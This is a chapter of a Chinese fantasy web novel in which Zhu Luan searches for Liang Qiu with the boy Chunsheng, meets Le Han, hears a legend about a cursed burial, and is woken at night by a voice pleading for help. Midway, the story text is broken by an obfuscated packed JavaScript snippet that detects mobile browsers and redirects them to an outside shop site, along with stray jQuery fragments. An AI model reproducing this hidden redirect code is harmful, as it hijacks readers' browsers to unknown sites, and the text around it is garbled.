梁丘的住处在一片竹林后,祝鸾出了竹林一时不知去哪里去找人,春生应该知道,她便问道:“你知道梁丘平时会去哪里吗?”
春生跟在她身后,闻言抬头惊讶道:“啊?”
祝鸾又问了一遍,春生才道:“不知道,我爹经常到处溜达。”
昨日初见梁丘时,他表现得像个落魄的清贫学子,家中的一应物什收拾打理的也十分符合,今日又得知他略懂草药,也算是个大夫。祝鸾有些好奇,问了一些关于梁丘的事情,“他平日也这样吗?”
春生:“他有空时就会四处走走。”
祝鸾:“那他这样平日生活要怎么解决?”
春生:“你不知道吗?”
祝鸾:“?”
春生:“他每隔几天就去寨子里的酒楼客栈说书,偶尔也会挖些草药帮附近的人看些小病,而且还会读书写字也有人来找他写信什么的……”他如数家珍的介绍着梁丘的事,乌黑的双眼闪耀着点点光芒。“他会的可多了,平日吃喝什么的不是问题。”
祝鸾伸手搭在额头上四处看了看,道:“那你觉得今日他会在哪里?”
春生有些纠结,他不确定地指向一个方向,道:“可能是这里?这边有很多人。”
祝鸾:“那我们就去那里,让我看看你们两个是不是心有灵犀?”
春生的手一下子缩了回来,道:“我也不确定。”
祝鸾抬脚就走,招呼着春生一起,“先去看看再说。”
春生突然问道:“你不是仙人吗?仙人都很厉害,你肯定知道。”
祝鸾很是惭愧,只好哄着道:“这个是需要用法宝的,我这次出门急,没带出来用不了。”
春生有些遗憾,“那你下次来能不能带来让我看看?”
祝鸾不好拒绝,只好先答应下来,又想到戚垣先前说的话,问道:“你上午是不是遇到我师兄了,他有问你什么吗?”
春生:“他问了我一些昨天和今天关于你的事,又问你怎么会到山上的?”
祝鸾:“那你怎么说的?”
春生:“我就如实都告诉他了。”他说着小心看了祝鸾一眼,问道:“这不能说吗?”
祝鸾捂了捂脸,难怪他什么都知道了。“可以,他要是下次有事找你,你也偷偷告诉我。”
春生点头应了。
祝鸾顺着春生随便指的方向走了片刻,来到了一处庄子上,这里聚集着不少人家,比梁丘那里要热闹得多。
庄子前有一片空地,此时暮色将近,空地上只有几个小孩在一起玩耍,年龄和春生差不多,祝鸾走上前去,问他们有没有见到梁丘,几人看见春生走近,一下子都跑光了。
春生委屈地低着头,闷声道:“他们都走了,这都怪我。”
祝鸾拍拍他的后背,安慰道:“最近那么多人出事,可能见我是个生面孔,被吓走的。”
春生知道祝鸾是在安慰自己,嘴角勉强扯出了一丝笑意。
两人又往前走了一段,见有一家的门在开着,正要敲门去问,就听一道声音传来。
“你说得是真的吗?”
祝鸾站在门前朝里看去,院子里有个小孩独自坐在一旁,远处的屋里有个年纪大的妇人,妇人旁边还有个年轻的女子,两人不知是母女还是什么关系,正对着身前的一个身影说话,那人站在暗处看不见样貌。
两人神情看着很是激动,对那人千恩万谢,“我儿子真的有救吗?”
阴影处的人上前走了几步,微笑道:“当然。”
妇人又是连连感激,“那就麻烦您了!”
祝鸾认出那人是乐菡。
乐菡神态平和,微笑回道:“两人不必如此客气,待我明日再来。”她察觉到有人在门口,扭头看了过去,见来人是祝鸾就悄悄对她眨了下眼。
祝鸾走到一边的拐角处等她,乐菡出来一眼就瞧见了,上前问道:“你们两个怎么一起了?”
春生急忙道:“我们来找我爹。”
乐菡浅笑道:“梁丘?他不在这边。”
祝鸾:“我方才回去见院子没人,就想着出来找找你们,你怎么来这儿了,梁丘呢?”
乐菡:“梁公子说是要去看看那些人的情况,我想着也跟去看看,要是能够早点解决,你也可以早点出发。”
“真是辛苦你了。”祝鸾上前挽住乐菡的胳膊,道:“你们没在一起吗?”
乐菡有些不自在地缩了一下,面上仍是浅笑,“梁公子说两个人分开速度快点,就让我来这里了。”
祝鸾:“有发现什么吗?”
乐菡摇了摇头,只道什么也没看出来,又主动提起了方才的事,说是明天要再来一次。
祝鸾有些不放心,乐菡妖术不高,要是在这里出了事……还是早点回山上比较好。
乐菡道:“放心,此事和梁丘说的那些不相干。”
祝鸾:“你怎么看出来的?”
乐菡神色莫测,道:“我说过的,人间我很熟悉。”
祝鸾还是不放心,问道:“那家是出什么事了?”
乐菡翘起嘴角,道:“说是前段时间上山的时候被什么精怪给缠上中了邪,回到家后就性情大变,近日时常打砸伤人。”
祝鸾知道有这种事的存在,还是感觉哪里有点怪怪的,她见乐菡已经走在前边,带着春生准备跟上去。
春生拉了一下她,道:“我家就在这附近,我要回去了。”
祝鸾见天色不早了,他再跟着来回也没必要,嘱咐了几句就看着他离开了。
两人回去时,梁丘已经到家了。
院子的角落有个土灶,旁边放着些细棍树枝,灶上放了个茶壶,梁丘正坐在边上煮茶,他见两人走进院子,站起身道:“辛苦了,休息一会儿吧。我这茶水马上就好。”
祝鸾觉得体力消耗不小,进屋拎了两把椅子放在桌边,灶上的水也烧好了,咕噜咕噜地冒着响声,白色的水汽顺着壶嘴飘向四周,梁丘手忙脚乱地去提茶壶反被烫得龇牙咧嘴,他甩了甩手,找了块抹布垫着提了起来。
乐菡拿了几个杯子出来,提起茶壶一一满上,梁丘道了声谢接过一杯坐在旁边。
祝鸾顺手拿过一杯细嗅了一下,“好闻。”
梁丘浅饮一口,道:“我下午去附近的人家看过了,昨天没有人再出现之前的情况,不过听说有两户的家人过世了。”
他说着,深叹口气,“也不知道戚公子那边怎么样了。”
祝鸾放下杯子,道:“我上午遇到戚师兄了,他说昨晚又有人受害,就在我们昨天去的寨子里。”
梁丘惊讶道:“他去了那里?难怪一天都没见着他。”
乐菡道:“戚公子打算怎么办?”
戚垣要怎么解决,祝鸾也不知道,她将上午两人去山上查验的事说了出来,“他说完就走了,我也不明白他的意思。”
梁丘捏着茶杯,若有所思,“说起来,这事发生不久,我就觉得和我幼时听到的一个故事有点相像。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347827|199560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
祝鸾和乐菡对视一眼,道:“什么事?”
梁丘像是陷入了回忆,“我曾听到一个老太太说起过,那个老太太已经是很老的年纪,比我见过的其它老人还要老很多,我也不知她说得是否真实。”
“她说在她小的时候,发生过一件事情,有个人下葬不久,她的家人突然在一段时间内接连暴毙,过了几天周围的邻居也开始祸事不断,大家就请了高人来看,高人看过之后,说是下葬之人的魂魄受到恶灵侵扰,这才反噬了家人,后又祸及到周围之人。”
“之后高人将那死者的墓地迁走,又重新布置了一番,自那之后此类事情就再也没有发生过。”
祝鸾:“那此事发生前这里有人下葬吗?或者是其它奇怪的事情发生?”
梁丘肯定道:“没有。”
那就奇怪了!祝鸾心想:两件事乍看起来有些相似,不过……且不说其它的,梁丘方才说得受害者都是普通人,此事中除了普通人,还有几个妖类和谢流澜这个仙门弟子也出事了,事情就没那么简单了。
更奇怪的还是她自己,难道她灵体分离也是与此事有关?
乐菡突然开口道:“既然两件事这么相似,梁公子说的事是与下葬之人和墓葬有关,这件事会不会也是这样?”
梁丘皱眉道:“你的意思要去掀……一看吗?可是这事发生前一切都很正常。”
乐菡温声道:“我只是在想这种可能,先前的应与此事无关,可最近几天的呢?这事还在不断发生,会不会有些关系?”
梁丘没有应声,皱紧眉头望着院子思索着。
几人在院子坐的半响,天色已经黑透了,戚垣不知又去了哪里,还是不见踪影。
梁丘把东西收拾好,在院子里点了火把,道:“我给戚公子留了门,方才说得事还是等明日与他商量一下吧。”
乐菡道:“也好。”
祝鸾与她先后上了楼,走到门前时又想起了昨晚那道声音,到底会是谁呢?
睡到半夜时,那道声音又准时响起,祝鸾猛地从床上跃起,打开房门走了出去,恰好看见戚垣准备回房。
戚垣瞥见这边的动静,推开房门的手一滞,见祝鸾大半夜的突然跑了出来,以为她有事在等他,扭头问道:“你有事要说吗?”
那道声音仍在耳边回荡,似乎比昨夜更加清晰,祝鸾一下凑到戚垣眼前,低声道:“你有听到什么吗?”
戚垣侧过身子闭眼凝神去听,耳边一片安静,只有身旁紧张的呼吸声,摇头道:“没有。”
没有?祝鸾又往他身旁凑了凑,“你仔细听。”
戚垣被她挤得半个身子撞向房门,背上的剑与木板相击发出“咣当”一声响,他垂眸看着祝鸾马上要凑到怀里,右手轻抬抵住她的肩膀一把推开。
祝鸾被他推开,整个人突然一下子僵住了,那道声音在她耳边回响的愈发急促,“祝鸾,救我,救我。”
戚垣见她表情突变,眉头紧皱,问道:“你听到了什么?”
祝鸾还未开口,那道声音又消失了,旁边的房门打开,乐菡走了出来,见两人站在一起,不解道:“你们……在做什么?”
院中突然亮起火把,楼上楼下一片通明,梁丘站在院子里着急喊道:“怎么回事?又出事了吗?”
祝鸾见两人深夜都被她吵醒,窘然道:“没事,我不小心碰倒了东西。”
梁丘闻言,放下心来,打了个哈欠,道:“没事就好,那我先去睡了,你们也早点睡吧。”